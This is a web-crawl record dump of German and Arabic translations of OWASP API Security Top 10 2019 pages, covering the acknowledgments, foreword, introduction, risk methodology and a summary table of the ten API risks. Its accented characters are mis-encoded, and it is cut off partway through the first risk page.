منصة GitHub وكذلك المشاركين من خلال وسائل ووسا،ء اخرى وهم :\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123\n\n### وكذلك المترجمين للغة العربية وهŮ\n\n- مالك الدوسري\n- محمد السحيمي\n- صبري حسنية\n- مصطفى الاقصŮ\n- فهد الدريبي\n- 0xMohammed", "znaku_textu": 843, "slov": 98, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:21", "sha256": "0437e87879dd6f4113fba91526c731a02c02253a377e8f0fb504a645f4d74d5f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/dist/owasp-api-security-top-10-ar.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3435804, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:22", "sha256": "fb573920ee30951831bfee2321519021c83e2cab703c2b2f35ea0ae717dad0fb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/de/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x00-header/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nDie 10 kritischsten Sicherheitsrisiken fĂźr APIs\n\n27 Januar 2023\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 264, "slov": 30, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:56", "sha256": "78b739d01bc099608e0e33d2cfac6e67da85144f555c742eba297c48a90578a2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x00-notice/", "titulek": "Notiz - OWASP API Security Top 10", "h1": "Notiz", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x00-notice/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notiz"}], "markdown": "# Notiz\n\nDies ist die Textversion der OWASP API Security Top 10, die dient als Quelle fĂźr die\noffizielle Version, die als Portable Document Format (PDF) verĂśffentlicht wird.\n\nBeiträge zum Projekt wie Kommentare, Korrekturen oder Übersetzungen\nsollten hier gemacht werden. Einzelheiten dazu [wie sie beitragen kĂśnnen](../../../../CONTRIBUTING/) finden Sie unter\n[CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 433, "slov": 53, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:18", "sha256": "85fd8b5bf8208613a961c893d98ae9370795053f6d02ff95b05ca920aa9e107d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x00-toc/", "titulek": "Inhaltsverzeichnis - OWASP API Security Top 10", "h1": "Inhaltsverzeichnis", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x00-toc/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Inhaltsverzeichnis"}], "markdown": "# Inhaltsverzeichnis\n\n- [Inhaltsverzeichnis](./)\n- [Über das OWASP](../0x01-about-owasp/)\n- [Vorwort](../0x02-foreword/)\n- [Einleitung](../0x03-introduction/)\n- [Erläuterungen zur VerĂśffentlichung](../0x04-release-notes/)\n- [Sicherheitsrisiken fĂźr APIs](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2019](../0x11-t10/)\n- [API1:2019 Broken Object Level Authorization](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Broken User Authentication](../0xa2-broken-user-authentication/)\n- [API3:2019 Excessive Data Exposure](../0xa3-excessive-data-exposure/)\n- [API4:2019 Lack of Resources & Rate Limiting](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Broken Function Level Authorization](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Mass Assignment](../0xa6-mass-assignment/)\n- [API7:2019 Security Misconfiguration](../0xa7-security-misconfiguration/)\n- [API8:2019 Injection](../0xa8-injection/)\n- [API9:2019 Improper Assets Management](../0xa9-improper-assets-management/)\n- [API10:2019 Insufficient Logging & Monitoring](../0xaa-insufficient-logging-monitoring/)\n- [Was kommt als nächstes auf die Entwickler zu?](../0xb0-next-devs/)\n- [Was kommt als nächstes auf die DevSecOps zu?](../0xb1-next-devsecops/)\n- [Methodik und Daten](../0xd0-about-data/)\n- [Danksagungen](../0xd1-acknowledgments/)", "znaku_textu": 1331, "slov": 131, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:28", "sha256": "d098c276b218a74de1ce38c39134808e7086b72835b452cdbc0e1796a0a503c7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x01-about-owasp/", "titulek": "Über das OWASP - OWASP API Security Top 10", "h1": "Über das OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x01-about-owasp/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Über das OWASP"}, {"uroven": 2, "text": "Copyright und Lizenz"}], "markdown": "# Über das OWASP\n\nDas Open Web Application Security Project (OWASP) ist eine offene Gemeinschaft, deren Ziel es ist Organisationen zu ermĂśglichen, Anwendungen und APIs zu entwickeln, zu erwerben und zu pflegen, denen man vertrauen kann.\n\nBei OWASP finden Sie freie und offene:\n\n- Tools und Standards fĂźr die Anwendungssicherheit.\n- Vollständige BĂźcher Ăźber Anwendungssicherheitstests, sichere Codeentwicklung und SicherheitsĂźberprĂźfungen von Code.\n- Präsentationen und [Videos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Cheat sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) zu vielen gängigen Themen.\n- Standard-Sicherheitskontrollen und Bibliotheken.\n- [Örtliche Chapter weltweit](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Modernste Forschung.\n- Umfangreiche [Konferenzen weltweit](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Mailinglisten](https://lists.owasp.org/mailman/listinfo) .\n\nLerne mehr darĂźber auf: [https://www.owasp.org](https://www.owasp.org).\n\nAlle OWASP-Tools, -Dokumente, -Videos, -Präsentationen und -Kapitel sind kostenlos und fĂźr jeden zugänglich, der an der Verbesserung von Anwendungssicherheit interessiert ist.\n\nWir plädieren dafĂźr, die Anwendungssicherheit als ein Mensch-, Prozess- und\nTechnologieproblem zu betrachten, da die effektivsten Ansätze zur Anwendungssicherheit Verbesserungen in diesen Bereichen liegen.\n\nDie OWASP ist eine neue Art von Organisation. Unsere Freiheit von kommerziellen Zwängen ermĂśglicht es uns, unvoreingenommene, praktische und kostengĂźnstige Informationen Ăźber Anwendungssicherheit zuliefern.\n\nOWASP ist nicht mit einem Technologieunternehmen verbunden, obwohl wir den\nEinsatz kommerzieller Sicherheitstechnologien unterstĂźtzen. Die OWASP erstellt viele Arten von Materialien in einer gemeinschaftlichen, transparenten und offenen Weise.\n\nDie OWASP Foundation ist die gemeinnĂźtzige Einrichtung, die den langfristigen Erfolg des Projekts sicherstellt. Fast jeder, der mit OWASP zu tun hat, ist ein Freiwilliger, einschließlich des OWASP-Vorstands, der Chapter-Leiter, der Projektleiter und der Projektmitglieder. Wir unterstĂźtzen innovative Sicherheitsforschung mit ZuschĂźssen und Infrastruktur.\n\nTritt uns bei!\n\n## Copyright und Lizenz\n\nCopyright Š 2003-2019 Die OWASP-Stiftung. Dieses Dokument ist verĂśffentlicht unter der [Creative Commons Attribution Share-Alike 4.0 Lizenz](http://creativecommons.org/licenses/by-sa/4.0/). Bei jeder Wiederverwendung oder Weitergabe mĂźssen Sie anderen die Lizenzbedingungen dieser Arbeit deutlich machen.", "znaku_textu": 2558, "slov": 274, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:37", "sha256": "5e2ad4a1a3c54a65bbd9f57cfdfadeaecb4482076fdc47e1f93860b5b2b929ca", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x02-foreword/", "titulek": "Vorwort - OWASP API Security Top 10", "h1": "Vorwort", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x02-foreword/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Vorwort"}], "markdown": "# Vorwort\n\nEin fundamentales Element der Innovation in der heutigen App-getriebenen Welt ist die\nAnwendungsprogrammierschnittstelle (API). Von Bankenwesen, dem Einzelhandel \nbis hin zu IoT-Systemen, autonomen Fahrzeugen und intelligenten Städten - APIs sind ein wichtiger Bestandteil der\nmodernen mobilen und Webanwendungen. APIs sind in alle modernen externen und internen Anwendungen zu finden.\n\nAPIs stellen von Natur aus Anwendungslogik und sensible Daten wie personenbezogene\nDaten externen Dritten zur VerfĂźgung. Deshalb sind APIs zunehmend zu\neinem Ziel fĂźr Angreifer geworden. Ohne sichere APIs wäre eine schnelle Innovation\nunmĂśglich.\n\nObwohl eine umfassendere Top-10-Liste der Sicherheitsrisiken von Webanwendungen in Teilen anwendbar ist, ist aufgrund \nihrer eigenen Besonderheiten eine API-spezifische Liste der Sicherheitsrisiken sinnvoll.\nDie OWASP Top 10 API Security Risks konzentriert sich auf die Vermittlung von Strategien zur Behebung der gängigsten\nSchwachstellen und Sicherheitsrisiken im Zusammenhang mit APIs.\n\nWenn Sie mit dem [OWASP Top 10 Project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) vertraut sind, dann werden Sie die\nÄhnlichkeiten zwischen diesen beiden Dokumenten feststellen. Diese Ähnlichkeiten ermĂśglichen eine schnelle Einarbeitung \nin diese Thematik. Wenn Sie die OWASP Top 10-Reihe noch nicht kennen, sollten Sie zuerst \ndie Kapitel [Sicherheitsrisiken fĂźr APIs](../0x10-api-security-risks/) und [Methodik und Daten](../0xd0-about-data/) lesen\nbevor Sie sich mit dieser Top-10-Liste befassen.\n\nSie kĂśnnen zu den OWASP API Security Top 10 mit Ihren Fragen, Kommentaren \nund Ideen in unserem GitHub-Projekt-Repository beitragen:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nSie kĂśnnen die OWASP API Security Top 10 hier finden:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nWir danken allen Beteiligten, die dieses Projekt mit ihrem Engagement und ihren Beiträgen mĂśglich gemacht haben.\nSie sind alle im Abschnitt [Danksagungen](../0xd1-acknowledgments/) aufgefĂźhrt. Vielen Dank!", "znaku_textu": 2168, "slov": 266, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:46", "sha256": "cf9467a3b0fb760de11c573f61c54ccd84000153fdd56f61537be0f2b7620b54", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x03-introduction/", "titulek": "Einleitung - OWASP API Security Top 10", "h1": "Einleitung", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x03-introduction/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Einleitung"}, {"uroven": 2, "text": "Willkommen bei der OWASP API Security Top 10 - 2019!"}], "markdown": "# Einleitung\n\n## Willkommen bei der OWASP API Security Top 10 - 2019!\n\nWillkommen zur ersten Ausgabe der OWASP API Security Top 10. Wenn Sie mit der OWASP Top 10-Serie vertraut sind, werden Sie die Ähnlichkeiten bemerken: Sie sind auf Lesbarkeit und Akzeptanz ausgelegt. Andernfalls sollten Sie einen Blick auf die [OWASP API Security Project wiki page](https://www.owasp.org/index.php/OWASP_API_Security_Project) werfen, bevor Sie sich näher mit den wichtigsten API-Sicherheitsrisiken auseinandersetzen.\n\nAPIs spielen eine sehr wichtige Rolle in der Architektur moderner Anwendungen. Da Sicherheitsbewusstsein und Innovation unterschiedliche Geschwindigkeiten haben, ist es wichtig, sich auf allgemeine API-Schwächen zu konzentrieren.\n\nDas primäre Ziel der OWASP API Security Top 10 ist es, \ndie an der Entwicklung und Wartung von APIs beteiligt sind, zum Beispiel Entwickler, Designer Architekten, Manager oder Organisationen zu bilden.\n\nIm Abschnitt [Methodik und Daten](../0xd0-about-data/) kĂśnnen Sie mehr darĂźber lesen, wie diese erste Ausgabe erstellt wurde. In kĂźnftigen Versionen wollen wir die Sicherheitsbranche einbeziehen, mit einem Ăśffentlichen Aufruf zur Datenerhebung. FĂźr den Moment ermutigen wir jeden dazu sich mit Fragen, Kommentaren und Ideen an unser [GitHub-Repository](https://github.com/OWASP/API-Security) oder unsere\n[Mailingliste](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project) zuwenden.", "znaku_textu": 1440, "slov": 182, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:55", "sha256": "37c0162aa4bc4109c5e61e41724e7b04c10c03d116a2c29d195cb484fdf974b7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x04-release-notes/", "titulek": "Erläuterungen zur VerĂśffentlichung - OWASP API Security Top 10", "h1": "Erläuterungen zur VerĂśffentlichung", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x04-release-notes/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Erläuterungen zur VerĂśffentlichung"}], "markdown": "# Erläuterungen zur VerĂśffentlichung\n\nDies ist die erste Ausgabe der OWASP API Security Top 10, die regelmäßig, alle drei \noder vier Jahre, aktualisiert werden soll.\n\nIm Gegensatz zu dieser Version wollen wir in zukĂźnftigen Versionen einen Ăśffentlichen Aufruf zur Datenerhebung verĂśffentlichen,\nund die Sicherheitsbranche in unsere Initiative miteinbeziehen. In dem Kapitel [Methodik und Daten](../0xd0-about-data/)\nfinden Sie weitere Einzelheiten darĂźber, wie diese Version erstellt wurde. Detaillierte \nInformationen zu den Sicherheitsrisiken finden Sie im Kapitel [Sicherheitsrisiken fĂźr APIs](../0x10-api-security-risks/).\n\nEs ist wichtig zu verstehen, dass sich in den letzten Jahren die Architektur von \nAnwendungen grundsätzlich verändert hat. Derzeit spielen APIs eine sehr wichtige Rolle \nin dieser neuen Infrastruktur aus Microservices, Single Page Applications (SPAs),\nmobilen Anwendungen und IoT-Systemen.\n\nDie OWASP API Security Top 10 war eine notwendige Maßnahme, um das Bewusstsein fĂźr\nmoderne API-Sicherheitsprobleme zu schaffen. Sie war nur mĂśglich durch den großen Einsatz von\nzahlreichen ehrenamtlichen Helfern, welche alle im Abschnitt [Danksagungen](../0xd1-acknowledgments/) aufgefĂźhrt sind.\nVielen Dank!", "znaku_textu": 1237, "slov": 161, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:04", "sha256": "a3f69a7b2e1eedf1a0bd8644b57efcb2a23f6a2e4914eed397d6598906bdd92e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x10-api-security-risks/", "titulek": "Sicherheitsrisiken fĂźr APIs - OWASP API Security Top 10", "h1": "Sicherheitsrisiken fĂźr APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x10-api-security-risks/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Sicherheitsrisiken fĂźr APIs"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# Sicherheitsrisiken fĂźr APIs\n\nZur DurchfĂźhrung der Risikoanalyse wurde die [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) verwendet.\n\nDie nachstehende Tabelle fasst die mit der Risikobewertung verbundene Terminologie zusammen.\n\n| Bedrohungsakteure | Ausnutzbarkeit | Schwachstellenprävalenz | Schwachstellendetektierbarkeit | Technische Auswirkungen | Geschäftsauswirkungen |\n| --- | --- | --- | --- | --- | --- |\n| API-spezifisch | Leicht: **3** | Weit verbreitet **3** | Leicht **3** | Schwer **3** | Unternehmensspezifisch |\n| API-spezifisch | Durchschnittlich **2** | Häufig **2** | Durchschnittlich **2** | Mäßig **2** | Unternehmensspezifisch |\n| API-spezifisch | Schwer **1** | Schwer **1** | Schwer **1** | Leicht **1** | Unternehmensspezifisch |\n\n**Anmerkung**: Bei diesem Ansatz wird die Wahrscheinlichkeit des Bedrohungserregers nicht berĂźcksichtigt. Er berĂźcksichtigt auch keine der verschiedenen technischen Details, die mit Ihrer speziellen Anwendung verbunden sind. Jeder dieser Faktoren kann die Gesamtwahrscheinlichkeit, dass ein Angreifer eine bestimmte Schwachstelle findet und ausnutzt beeinflussen. Diese Bewertung berĂźcksichtigt nicht die tatsächlichen Auswirkungen auf Ihr\nUnternehmen. Ihr Unternehmen muss entscheiden, wie viele Sicherheitsrisiken durch\nAnwendungen und APIs das Unternehmen bereit ist, angesichts der Unternehmenskultur, Branche und regulatorischem Umfelds zu akzeptieren. Der Zweck der OWASP API Security Top\n10 ist es nicht, diese Risikoanalyse fĂźr Sie durchzufĂźhren.\n\n## Referenzen\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### External\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2137, "slov": 202, "odkazu": 164, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:13", "sha256": "b43ecf40a0fbafc730c3808ff119a9350700433e8bace41aad2d0bd0fde7ef8f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0x11-t10/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2019"}], "markdown": "# OWASP Top 10 API Security Risks – 2019\n\n| Risko | Beschreibung |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | APIs neigen dazu, Endpunkte offenzulegen, die Objektidentifikatoren verarbeiten, was eine breite Angriffsfläche auf Zugriffskontrolle auf Objektebene schafft. BerechtigungsprĂźfungen auf Objektebene sollten in jeder Funktion berĂźcksichtigt werden, die auf eine Datenquelle zugreift, die eine Eingabe des Benutzers verwendet. |\n| API2:2019 - Broken User Authentication | Authentifizierungsmechanismen sind oft falsch implementiert, sodass Angreifer Authentifizierungstoken kompromittieren oder Implementierungsfehler ausnutzen kĂśnnen, um vorĂźbergehend oder dauerhaft die Identität anderer Benutzer anzunehmen. Durch die Beeinträchtigung der Fähigkeit des Systems, den Client / Benutzer zu identifizieren, wird die API-Sicherheit insgesamt gefährdet. |\n| API3:2019 - Excessive Data Exposure | Mit Blick auf generische Implementierungen neigen Entwickler dazu, alle Objekteigenschaften freizugeben, ohne deren individuelle Empfindlichkeit zu berĂźcksichtigen, und sich darauf zu verlassen, dass die Clients die Datenfilterung durchfĂźhren, bevor sie dem Benutzer angezeigt werden. |\n| API4:2019 - Lack of Resources & Rate Limiting | Oftmals gibt es bei APIs keine Beschränkungen fĂźr die Größe oder Anzahl der Ressourcen, die vom Client/Nutzer angefordert werden kĂśnnen. Dies kann sich nicht nur auf die Leistung des API-Servers auswirken und zu Denial of Service (DoS) fĂźhren, sondern Ăśffnet auch die TĂźr fĂźr Authentifizierungs-Angriffe wie Brute Force. |\n| API5:2019 - Broken Function Level Authorization | Komplexe Zugriffskontrollrichtlinien mit unterschiedlichen Hierarchien, Gruppen und Rollen sowie eine unklare Trennung zwischen administrativen und regulären Funktionen fĂźhren häufig zu SicherheitslĂźcken in der Autorisierung. Unter Ausnutzung dieser Schwachstellen kĂśnnen Angreifer Zugriff auf die Ressourcen anderer Benutzer und/oder administrative Funktionen erlangen. |\n| API6:2019 - Mass Assignment | Das Verbinden von vom Client bereitgestellten Daten (z.B. JSON) an Datenmodelle ohne ordnungsgemäße Filterung der Eigenschaften auf der Grundlage einer Whitelist fĂźhrt in der Regel zu Mass Assignment. Das Erraten von Objekteigenschaften, das Erforschen anderer API-Endpunkte, das Lesen der Dokumentation oder die Bereitstellung zusätzlicher Objekteigenschaften in Daten von Anfragen ermĂśglicht es Angreifern, Objekteigenschaften zu verändern, die sie nicht verändern dĂźrfen. |\n| API7:2019 - Security Misconfiguration | Sicherheitsfehlkonfigurationen sind häufig das Ergebnis unsicherer Standardkonfigurationen, unvollständiger oder Ad-hoc-Konfigurationen, offener Cloud-Speicher, falsch konfigurierter HTTP-Header, unnĂśtiger HTTP-Methoden, permissiver Cross-Origin-Resource-Sharing (CORS) und ausfĂźhrlicher Fehlermeldungen mit sensiblen Informationen. |\n| API8:2019 - Injection | Injection-Fehler, wie SQL, NoSQL, Command Injection usw., treten auf, wenn nicht vertrauenswĂźrdige Daten als Teil eines Befehls oder einer Abfrage an einen Interpreter gesendet werden. Die bĂśsartigen Daten des Angreifers kĂśnnen den Interpreter dazu verleiten, unbeabsichtigte Befehle auszufĂźhren oder auf Daten zuzugreifen, ohne dazu berechtigt zu sein. |\n| API9:2019 - Improper Assets Management | APIs neigen dazu, mehr Endpunkte freizugeben als herkĂśmmliche Webanwendungen, was eine ordnungsgemäße und aktualisierte Dokumentation sehr wichtig macht. Eine ordnungsgemäße Inventarisierung der Hosts und der bereitgestellten API-Versionen spielt ebenfalls eine wichtige Rolle, um Probleme wie veraltete API-Versionen und offengelegte Debug-Endpunkten zu entschärfen. |\n| API10:2019 - Insufficient Logging & Monitoring | Unzureichende Protokollierung und Überwachung in Verbindung mit einer fehlenden oder unwirksamen Integration in die Reaktion auf Vorfälle (Incidents Response) ermĂśglichen es Angreifern, weitere Systeme anzugreifen, die Persistenz aufrechtzuerhalten und auf weitere Systeme Ăźberzugehen, um Daten zu manipulieren, zu extrahieren oder zu zerstĂśren. Die meisten Studien zu Breaches (Cyber Einbruch) zeigen, dass die Zeit bis zur Entdeckung eines Breaches mehr als 200 Tage beträgt und in der Regel eher von externen Parteien als von internen Prozessen oder der internen Überwachung entdeckt werden. |", "znaku_textu": 4310, "slov": 523, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:22", "sha256": "539ae2f6775c0a3a22750953898b0f25b37a33b598f868a952329792b613a1eb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa1-broken-object-level-authorization/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **2** | Komplexität **3** : Unternehmensspezifisch |\n| Angreifer kĂśnnen API-Endpunkte ausnutzen, die anfällig fĂźr eine fehlerhafte 